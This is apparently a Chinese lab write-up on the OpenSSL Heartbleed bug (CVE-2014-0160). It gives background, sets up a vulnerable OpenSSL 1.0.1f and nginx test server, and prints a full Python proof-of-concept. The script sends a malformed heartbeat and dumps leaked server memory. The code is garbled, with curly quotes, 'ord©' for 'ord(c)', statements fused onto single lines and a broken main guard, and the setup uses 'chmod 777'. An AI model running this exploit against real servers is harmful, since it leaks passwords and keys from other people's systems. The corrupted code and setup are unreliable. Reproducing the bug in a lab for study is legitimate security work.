heartbleed

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一、漏洞原理分析

1.Openssl漏洞背景
2014年4月7日，互联网安全协议OpenSSL被曝存在一个十分严重的安全漏洞。它被命名为“心脏出血”，表明网络上出现了“致命内伤”。利用该漏洞，黑客可以获取约30%的https开头网址的用户登录账号密码，其中包括购物、网银、社交、门户等类型的知名网站。另外，该漏洞不仅是涉及到https开头的网址，还包含间接使用了OpenSSL代码的产品和服务，比如，VPN、邮件系统、FTP工具等产品和服务，甚至可能会涉及到其他一些安全设施的源代码。

2.原理简要分析

Heartbleed是openssl的一个漏洞。Openssl可以对用户与大多数网络服务所提供的服务器之间的通信进行加密。因为很多网站(例如google等)采用的是 OpenSSL 来保护敏感的用户信息，这就让大量的用户信息处于随时被窃取的危险境地。利用这个漏洞，就能够从大量包含用户名、密码和其他敏感信息的数据库中窃取数据。
SSL用以保障在Internet上数据传输之安全，利用数据加密(Encryption)技术，可确保数据在网络上之传输过程中不会被截取及窃听。一般通用之规格为40 bit之安全标准，美国则已推出128 bit之更高安全标准，但限制出境。
要使 SSL 发挥作用，计算机需要与服务器进行通信。为此，它会发送称为“heartbeat”(心跳)的信息。heartbeat 所做的就是向服务器发送特定信号以确定服务器是否联机。如果服务器联机，它会向计算机发送回该信号，让用户可以尽享安全的通信。计算机和服务器会定期发送 heartbeat 以确定用户和服务器没有脱机。
Heartbleed 会向服务器发送恶意 heartbeat，以此来“恶搞心跳”。实质上是“诱骗”服务器向发送该恶意 heartbeat 的用户传回一个随机内存块，其中可能包含一组地址、用户名和密码。

二、漏洞场景还原

测试环境

OS：Ubuntu16

OpenSSL: Version 1.0.1f

HTTPS: Nginx

Openssl问题版本的编译安装。为了进行漏洞现场的还原，这里主要针对openssl问题版本在HTTPS 请求方面的问题，所以首先下载openssl1.0.1b.tar.gz 源文件进行编译安装，步骤如下
（1）在openssl官网下载历史版本openssl-1.0.1f.tar.gz，解压文件到openssl-1.0.1f目录
（2）编译安装文件
./config make&&make install
注意：删除 pod2man 文件
zlib库的安装（在安装在编译nginx文件时候发现没有zlib库）
（1）在zlib官网下载zlib-1.2.5.1.tar.gz 解压到zlib-1.2.5.1目录
（2）编译安装文件
./config make&&make install
nginx服务器的安装
（1）在nginx官网中下载nginx-1.5.9.tar.gz 解压文件到nginx-1.5.9目录
（2）编译安装文件
/configure --prefix=/usr/local/nginx
–with-pcre=/home/lc/Desktop/pcre-8.31 --with-zlib=/home/lc/Desktop/zlib-1.2.5.1 --with-openssl=/home/lc/Desktop/openssl-1.0.1f
–with-ssl_modole
Make&&make install
注：编译安装nginx不能缺少ssl模块

问题解决：{
在虚拟机ubuntu环境下安装nginx1.5.9 发现安装包中自带openssl

在其他路径下安装nginx 以及openssl 1.0.1f版本（将其安装在/usr/local/）
}
解决方法如上安装方法

用安装的openssl 生成ssl证书，步骤如下
（1）首先要生成服务器端的私钥(key文件):

openssl genrsa -des3 -out beishan.key 1024

（2）openssl req -new -key beishan.key -out beishan.csr -config openssl.cnf
按要求一步一步输入信息

（3）生成一个证书请求
openssl req -new -key beishan.key -out beishan.csr

（4）自己签发证书
openssl x509 -req -days 365 -in beishan.csr -signkey beishan.key -out beishan.crt

（5）结果可看到4个文件

Nginx配置
（1）安装vim
命令：apt-get install vim

（2）修改文件权限
命令：chmod 777 +文件名
（3）修改nginx配置文件

（4）重读nginx
命令：./nginx -t
./nginx -s reload

（5）修改hosts文件
在文件最后添加 192.168.146.136 www.beishan.com(vim)

（6）在firefox导入证书
导入证书成功后即可在浏览器中访问https://www.beishan.com

三、从主机访问服务器
（1）提升用户对Hosts文件的操作权限
鼠标右键点击Hosts文件，选择属性，然后点击“安全”选项卡，选中现在登录使用的用户账户并点击“编辑”，在弹出的权限设置界面再次选中当前用户，然后勾选“完全控制”或“修改”都可以，最后点击应用生效即可

（2）修改文件
在c/Windows/System32/etc 中找到文件hosts 以记事本形式打开
在文件最后一行添加 192.168.151.13 www.beishan.com

附：
hosts文件是一个用于储存计算机网络中各节点信息的计算机文件。这个文件负责将主机名映射到相应的IP地址。hosts文件通常用于补充或取代网络中DNS的功能。和DNS不同的是，计算机的用户可以直接对hosts文件进行控制。

（3）打开浏览器导入证书

四、漏洞再现
Python脚本

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage=’%prog server [options]’, description=‘Test for SSL heartbeat vulnerability (CVE-2014-0160)’)
options.add_option(’-p’, ‘–port’, type=‘int’, default=443, help=‘TCP port to test (default: 443)’)

def h2bin(x):
return x.replace(’ ‘, ‘’).replace(’\n’, ‘’).decode(‘hex’)

hello = h2bin(’’’
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
‘’’)

hb = h2bin(’’’
18 03 02 00 03
01 40 00
‘’’)

def hexdump(s):
pdat=’’
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
#hxdat = ’ ‘.join(’%02X’ % ord© for c in lin)
pdat += ‘’.join((c if 32 <= ord© <= 126 else ‘.’ )for c in lin)
#print ’ %04x: %-48s %s’ % (b, hxdat, pdat)
print ‘%s’ % (pdat.replace(’…’, ‘’),)
print

def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ‘’
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata

def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print ‘Unexpected EOF receiving record header - server closed connection’
return None, None, None
typ, ver, ln = struct.unpack(’>BHH’, hdr)
pay = recvall(s, ln, 10)
if pay is None:
print ‘Unexpected EOF receiving record payload - server closed connection’
return None, None, None
print ’ … received message: type = %d, ver = %04x, length = %d’ % (typ, ver, len(pay))
return typ, ver, pay

def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print ‘No heartbeat response received, server likely not vulnerable’
return False

    if typ == 24:print 'Received heartbeat response:'hexdump(pay)if len(pay) > 3:print 'WARNING: server returned more data than it should - server is vulnerable!'else:print 'Server processed malformed heartbeat, but did not return any extra data.'return Trueif typ == 21:print 'Received alert:'hexdump(pay)print 'Server returned error, likely not vulnerable'return False

def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:typ, ver, pay = recvmsg(s)if typ == None:print 'Server closed connection without sending Server Hello.'return# Look for server hello done message.if typ == 22 and ord(pay[0]) == 0x0E:breakprint 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)

if name == ‘main’:
main()
在cmd中运行结果

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